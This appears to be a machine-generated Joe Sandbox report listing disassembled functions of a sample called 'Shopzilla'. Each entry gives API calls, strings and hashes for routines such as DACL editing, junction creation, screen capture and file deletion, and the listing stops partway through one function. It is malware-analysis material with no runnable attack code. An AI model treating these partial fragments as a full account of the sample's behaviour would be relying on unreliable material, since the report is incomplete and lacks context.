Instruction ID: da97361d642c89f354ccf2b76de012a91c5a81636c20fb8ced9d6fd7502eecfb
Opcode Fuzzy Hash: 7bfd01963959e20e389ef95608e992e65803be97f77f8d3bba84237834f4359c
Instruction Fuzzy Hash: 0D616972108300AFC711EF64DC95E9FBBF8EF89710F100A2DF595921A1DB719A49CB92

Function 00C08142 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00C08187
VariantCopy.OLEAUT32(00000000,?), ref: 00C08190
VariantClear.OLEAUT32(00000000), ref: 00C0819C
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00C0828A
__swprintf.LIBCMT ref: 00C082BA
VarR8FromDec.OLEAUT32(?,?), ref: 00C082E6
VariantInit.OLEAUT32(?), ref: 00C08397
SysFreeString.OLEAUT32(?), ref: 00C0842B
VariantClear.OLEAUT32(?), ref: 00C08485
VariantClear.OLEAUT32(?), ref: 00C08494
VariantInit.OLEAUT32(00000000), ref: 00C084D2

Strings

Default, xrefs: 00C08347
%4d%02d%02d%02d%02d%02d, xrefs: 00C082B4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 755cdaf442a6b9e29b76e528dba5b312a9703fafac15eaf3b0037d1ec797620d
Instruction ID: 72d326f68f0d5716289416558a2531e4dcb1bd9c484a4e09bbf2dc5fc7feaebf
Opcode Fuzzy Hash: 755cdaf442a6b9e29b76e528dba5b312a9703fafac15eaf3b0037d1ec797620d
Instruction Fuzzy Hash: 3DD11131A00616DBDB209FA6D854B7DB7B8BF05700F20C469E4A5AB2C1CF74ED49DBA0

Function 00C24797 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C24829
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00C24874

Strings

ISCHECKED, xrefs: 00C249F7
GETTOTALCOUNT, xrefs: 00C2485B
EXISTS, xrefs: 00C248DD
CHECK, xrefs: 00C24894
GETITEMCOUNT, xrefs: 00C24956
GETTEXT, xrefs: 00C249C7
SELECT, xrefs: 00C24A25
UNCHECK, xrefs: 00C24A50
GETSELECTED, xrefs: 00C24984
EXPAND, xrefs: 00C24926
COLLAPSE, xrefs: 00C248BA

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 462261f216bb2200a1e4aa93435ee19d9888f4cb8c03829c3071f51fe155d796
Instruction ID: b3a6b89712b945932161ea67f0ab97e4ec112611019d72971f2e54864effd13b
Opcode Fuzzy Hash: 462261f216bb2200a1e4aa93435ee19d9888f4cb8c03829c3071f51fe155d796
Instruction Fuzzy Hash: 9C918E742147119FCB08EF20C451A7EB7E5AF94354F4089ACF8A65B7A2CB71ED4ACB81

Function 00C2BBEB Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00C2BCA1
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00C295AF), ref: 00C2BCFD
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00C2BD36
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00C2BD79
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00C2BDB0
FreeLibrary.KERNEL32(?), ref: 00C2BDBC
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00C2BDCC
DestroyIcon.USER32(?,?,?,?,?,00C295AF), ref: 00C2BDDB
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00C2BDF8
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00C2BE04

Part of subcall function 00BC305F: __wcsicmp_l.LIBCMT ref: 00BC30E8

Strings

.icl, xrefs: 00C2BC17
.exe, xrefs: 00C2BC37
.dll, xrefs: 00C2BC5A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: a8126ba410dc3390fd0c2d41d0a71e2a16947086b03d64f6f669114c53a9ae69
Instruction ID: 30935b5ce2529ad6a645e6f90d2feb66183ea8a82f8c2e657740f8dcced7f9fb
Opcode Fuzzy Hash: a8126ba410dc3390fd0c2d41d0a71e2a16947086b03d64f6f669114c53a9ae69
Instruction Fuzzy Hash: F4610072500625BAEB14DF64EC41FFE77A8FB08710F20425AF925D64D1DBB4AE90CBA0

Function 00C0A0E8 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00C0A12F

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00C0A150
__swprintf.LIBCMT ref: 00C0A1A9
__swprintf.LIBCMT ref: 00C0A1C2
_wprintf.LIBCMT ref: 00C0A269
_wprintf.LIBCMT ref: 00C0A287

Strings

Incorrect parameters to object property !, xrefs: 00C0A20B
"%s" (%d) : ==> %s:%s%s, xrefs: 00C0A264
Error: , xrefs: 00C0A231
"%s" (%d) : ==> %s:, xrefs: 00C0A282
Line %d (File "%s"):, xrefs: 00C0A1A3, 00C0A1BC
^ ERROR , xrefs: 00C0A1FE

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 1335d8d9809777cb7a9a74d7a6a8942a2b05d04a6a294101f433b4f0a4d76de3
Instruction ID: 08900aff941809c6b3bc64d2cdf1027efff8ee66bc608817f80707ff72d379a0
Opcode Fuzzy Hash: 1335d8d9809777cb7a9a74d7a6a8942a2b05d04a6a294101f433b4f0a4d76de3
Instruction Fuzzy Hash: E8519C71900219ABCF14EBE4CD66EEEB7B8EF14341F5005A5F805A20A1EB712F98CB61

Function 00C0A802 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

CharLowerBuffW.USER32(?,?), ref: 00C0A87B
GetDriveTypeW.KERNEL32 ref: 00C0A8C8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C0A910
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C0A947
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C0A975

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Strings

close cd wait, xrefs: 00C0A960
wait, xrefs: 00C0A932
open , xrefs: 00C0A8D7
closed, xrefs: 00C0A88F, 00C0A898
open, xrefs: 00C0A8A2
close, xrefs: 00C0A881
type cdaudio alias cd wait, xrefs: 00C0A8F3
set cd door , xrefs: 00C0A916

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: f739950343b2b132626f672e6f632e66718a50142eab0b5ef4935fdd5b51dc9b
Instruction ID: 565aeea0ebe87d044e134beffcd58aa7c395fc2a22aabf6b30a567b02d62d359
Opcode Fuzzy Hash: f739950343b2b132626f672e6f632e66718a50142eab0b5ef4935fdd5b51dc9b
Instruction Fuzzy Hash: C2515F711043059FC700EF15C8919AAB7E8FF84758F5089ACF89957291DB71EE09CB92

Function 00C0A69F Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00C0A6BF
__swprintf.LIBCMT ref: 00C0A6E1
CreateDirectoryW.KERNEL32(?,00000000), ref: 00C0A71E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00C0A743
_memset.LIBCMT ref: 00C0A762
_wcsncpy.LIBCMT ref: 00C0A79E
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00C0A7D3
CloseHandle.KERNEL32(00000000), ref: 00C0A7DE
RemoveDirectoryW.KERNEL32(?), ref: 00C0A7E7
CloseHandle.KERNEL32(00000000), ref: 00C0A7F1

Strings

\??\%s, xrefs: 00C0A6DB
:, xrefs: 00C0A702
\, xrefs: 00C0A6F7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: f4b71b5c0e2524d3d20a84ecf8e30ea108c858e467d8f0319a6befb0f87d4d91
Instruction ID: e2c1013fe862b60a3630f69a831ee3bc7d842b121cb6a965623f071165e91ac1
Opcode Fuzzy Hash: f4b71b5c0e2524d3d20a84ecf8e30ea108c858e467d8f0319a6befb0f87d4d91
Instruction Fuzzy Hash: D0316172510219ABDB219FA4DC49FAF77BCEF89700F2041A6F919D61A0EB709784CB25

Function 00C0DD49 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00C0DEC0
_wcscat.LIBCMT ref: 00C0DED8
_wcscat.LIBCMT ref: 00C0DEEA
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C0DEFF
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0DF13
GetFileAttributesW.KERNEL32(?), ref: 00C0DF2B
SetFileAttributesW.KERNEL32(?,00000000), ref: 00C0DF45
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0DF57

Strings

*.*, xrefs: 00C0DF96

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 681d22254069e2d17b34767598e808a06ee83454e2fa889cb1fef11dc79e8374
Instruction ID: caf12cf7d3163aca7bde0cf07d537aa594529c1a445ce7ddc7c2161befb80348
Opcode Fuzzy Hash: 681d22254069e2d17b34767598e808a06ee83454e2fa889cb1fef11dc79e8374
Instruction Fuzzy Hash: 018171715043059FCB64EFA4C844A6AB7E8EB99310F14886EF4A6CB291E730DE45CB52

Function 00C2C5CF Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00C2C61F
GetFocus.USER32 ref: 00C2C62F
GetDlgCtrlID.USER32(00000000), ref: 00C2C63A
_memset.LIBCMT ref: 00C2C765
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00C2C790
GetMenuItemCount.USER32(?), ref: 00C2C7B0
GetMenuItemID.USER32(?,00000000), ref: 00C2C7C3
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00C2C7F7
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00C2C83F
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00C2C877
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00C2C8AC

Strings

0, xrefs: 00C2C75D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 5ed85efef40b8ed388e8fe2787155e70374ef4bc01fd4e344efa25ab57e5db7f
Instruction ID: 9823eda44ee4c629b94b2a3ba978b6ce15ee27ffa96dd455434ff50fa6f7ac17
Opcode Fuzzy Hash: 5ed85efef40b8ed388e8fe2787155e70374ef4bc01fd4e344efa25ab57e5db7f
Instruction Fuzzy Hash: B1817B716083219FD720DF14E884A6FBBE8FB88714F10892EF9A593691D770D945CFA2

Function 00BF88AD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8C03: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00BF8C1F
Part of subcall function 00BF8C03: GetLastError.KERNEL32(?,00BF86E3,?,?,?), ref: 00BF8C29
Part of subcall function 00BF8C03: GetProcessHeap.KERNEL32(00000008,?,?,00BF86E3,?,?,?), ref: 00BF8C38
Part of subcall function 00BF8C03: HeapAlloc.KERNEL32(00000000,?,00BF86E3,?,?,?), ref: 00BF8C3F
Part of subcall function 00BF8C03: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00BF8C56

Part of subcall function 00BF8CA0: GetProcessHeap.KERNEL32(00000008,00BF86F9,00000000,00000000,?,00BF86F9,?), ref: 00BF8CAC
Part of subcall function 00BF8CA0: HeapAlloc.KERNEL32(00000000,?,00BF86F9,?), ref: 00BF8CB3
Part of subcall function 00BF8CA0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00BF86F9,?), ref: 00BF8CC4

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00BF8911
_memset.LIBCMT ref: 00BF8926
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00BF8945
GetLengthSid.ADVAPI32(?), ref: 00BF8956
GetAce.ADVAPI32(?,00000000,?), ref: 00BF8993
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00BF89AF
GetLengthSid.ADVAPI32(?), ref: 00BF89CC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00BF89DB
HeapAlloc.KERNEL32(00000000), ref: 00BF89E2
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00BF8A03
CopySid.ADVAPI32(00000000), ref: 00BF8A0A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00BF8A3B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00BF8A61
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00BF8A75

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 138bb0c5eca3894a81b64e8a3a9483b9bd66d022d75f2873b5b924ab0476eec0
Instruction ID: 8b3d6a78b6d47de8c221e838a646db19270093eded3242ec67d41f8d5acadc66
Opcode Fuzzy Hash: 138bb0c5eca3894a81b64e8a3a9483b9bd66d022d75f2873b5b924ab0476eec0
Instruction Fuzzy Hash: A8612A71900109AFDF05DF95DC55BBEBBB9FF04700F1481AAEA15A7290DB359A09CB60

Function 00C177C9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00C1783E
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00C1784A
CreateCompatibleDC.GDI32(?), ref: 00C17856
SelectObject.GDI32(00000000,?), ref: 00C17863
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00C178B7
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00C178F3
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00C17917
SelectObject.GDI32(00000006,?), ref: 00C1791F
DeleteObject.GDI32(?), ref: 00C17928
DeleteDC.GDI32(00000006), ref: 00C1792F
ReleaseDC.USER32(00000000,?), ref: 00C1793A

Strings

(, xrefs: 00C178BF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: a05d5c92f419805b741d16c5f18f8c7d4e2375cb9afba0a6aff006d0c4501de4
Instruction ID: 62cf1e575bd0596f42ccd3c8b4a1468cecada671bf388062c838e596a5e5f777
Opcode Fuzzy Hash: a05d5c92f419805b741d16c5f18f8c7d4e2375cb9afba0a6aff006d0c4501de4
Instruction Fuzzy Hash: C5513972904209EFDB15CFA8CC89FAEBBB9EF49310F14851DF95AA7250D731A940DB60

Function 00C0A2FA Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00C0A341

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00C0A363
__swprintf.LIBCMT ref: 00C0A3BC
__swprintf.LIBCMT ref: 00C0A3D5
_wprintf.LIBCMT ref: 00C0A48B
_wprintf.LIBCMT ref: 00C0A4A9

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00C0A486
^ ERROR, xrefs: 00C0A42D
Error: , xrefs: 00C0A453
"%s" (%d) : ==> %s:, xrefs: 00C0A4A4
Line %d (File "%s"):, xrefs: 00C0A3B6, 00C0A3CF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 389bb3877b9f57a3c71bc2b8095ca0cde2d042afffd842b434b342b13b6fe1c7
Instruction ID: 7197333cdcb22d54e60545983107fa50ea8638dd114fddf6f1ebc4d2317a06b6
Opcode Fuzzy Hash: 389bb3877b9f57a3c71bc2b8095ca0cde2d042afffd842b434b342b13b6fe1c7
Instruction Fuzzy Hash: 3F51AE71800209ABCF14EBE4CD66EEEB7B8EF04340F5045A5F805A21A1EBB12F58DB61

Function 00C0957D Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C09387: __time64.LIBCMT ref: 00C09391

Part of subcall function 00BB4A8C: _fseek.LIBCMT ref: 00BB4AA4

__wsplitpath.LIBCMT ref: 00C0965C

Part of subcall function 00BC424E: __wsplitpath_helper.LIBCMT ref: 00BC428E

_wcscpy.LIBCMT ref: 00C0966F
_wcscat.LIBCMT ref: 00C09682
__wsplitpath.LIBCMT ref: 00C096A7
_wcscat.LIBCMT ref: 00C096BD
_wcscat.LIBCMT ref: 00C096D0

Part of subcall function 00C093CD: _memmove.LIBCMT ref: 00C09406
Part of subcall function 00C093CD: _memmove.LIBCMT ref: 00C09415

_wcscmp.LIBCMT ref: 00C09617

Part of subcall function 00C09B5E: _wcscmp.LIBCMT ref: 00C09C4E
Part of subcall function 00C09B5E: _wcscmp.LIBCMT ref: 00C09C61

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00C0987A
_wcsncpy.LIBCMT ref: 00C098ED
DeleteFileW.KERNEL32(?,?), ref: 00C09923
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00C09939
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00C0994A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00C0995C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 0443f03af4a7bce75803076f2b79a2356331623dda18e8a28b8488ed363e5068
Instruction ID: 299efb725f6bb4b2540e9a68e07494955932b6bbca8d94729cb75d2d41096491
Opcode Fuzzy Hash: 0443f03af4a7bce75803076f2b79a2356331623dda18e8a28b8488ed363e5068
Instruction Fuzzy Hash: A1C1FAB1900219ABDF21DF95CC85BDEB7BDEF45310F0040AAF609E6192EB719A84CF65

Function 00BB5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BB5BF1
GetMenuItemCount.USER32(00C66890), ref: 00BF0DFB
GetMenuItemCount.USER32(00C66890), ref: 00BF0EAB
GetCursorPos.USER32(?), ref: 00BF0EEF
SetForegroundWindow.USER32(00000000), ref: 00BF0EF8
TrackPopupMenuEx.USER32(00C66890,00000000,?,00000000,00000000,00000000), ref: 00BF0F0B
